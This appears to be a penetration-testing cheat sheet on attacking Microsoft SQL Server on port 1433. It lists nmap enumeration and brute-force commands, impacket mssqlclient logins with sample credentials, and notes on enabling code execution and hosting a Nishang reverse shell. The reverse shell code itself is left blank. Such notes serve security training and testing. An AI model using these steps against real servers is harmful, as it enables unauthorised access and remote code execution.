MsSQL (Port 1433)

Quick Intro

Microsoft SQL Server is a relational database management systemarrow-up-right developed by Microsoftarrow-up-right. As a database serverarrow-up-right, it is a software productarrow-up-right with the primary function of storing and retrieving data as requested by other software applicationsarrow-up-right—which may run either on the same computer or on another computer across a network (including the Internet).

Nmap Scripts

nmap -n -v -sV -Pn -p 1433 –script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password $ip

BruteForce

nmap -n -v -sV -Pn -p 1433 –script ms-sql-brute –script-args userdb=users.txt,passdb=passwords.txt $ip

RCE with SQL Server

  • We can use mssql.py to login and execute the commands

mssqlclient.py <domain>/<username>:<password>@$ip

mssqlclient.py bathry/admin:[email protected]

impacket-mssqlclient Administrator:[email protected] -windows-auth
select @@version;
SELECT name FROM sys.databases;
SELECT * FROM dbname.information_schema.tables;
  • Enabled Code execution

  • Copied the Nishang reverse shell to current directory and added localhost and port to it and start hosting server

Complete code:

Last updated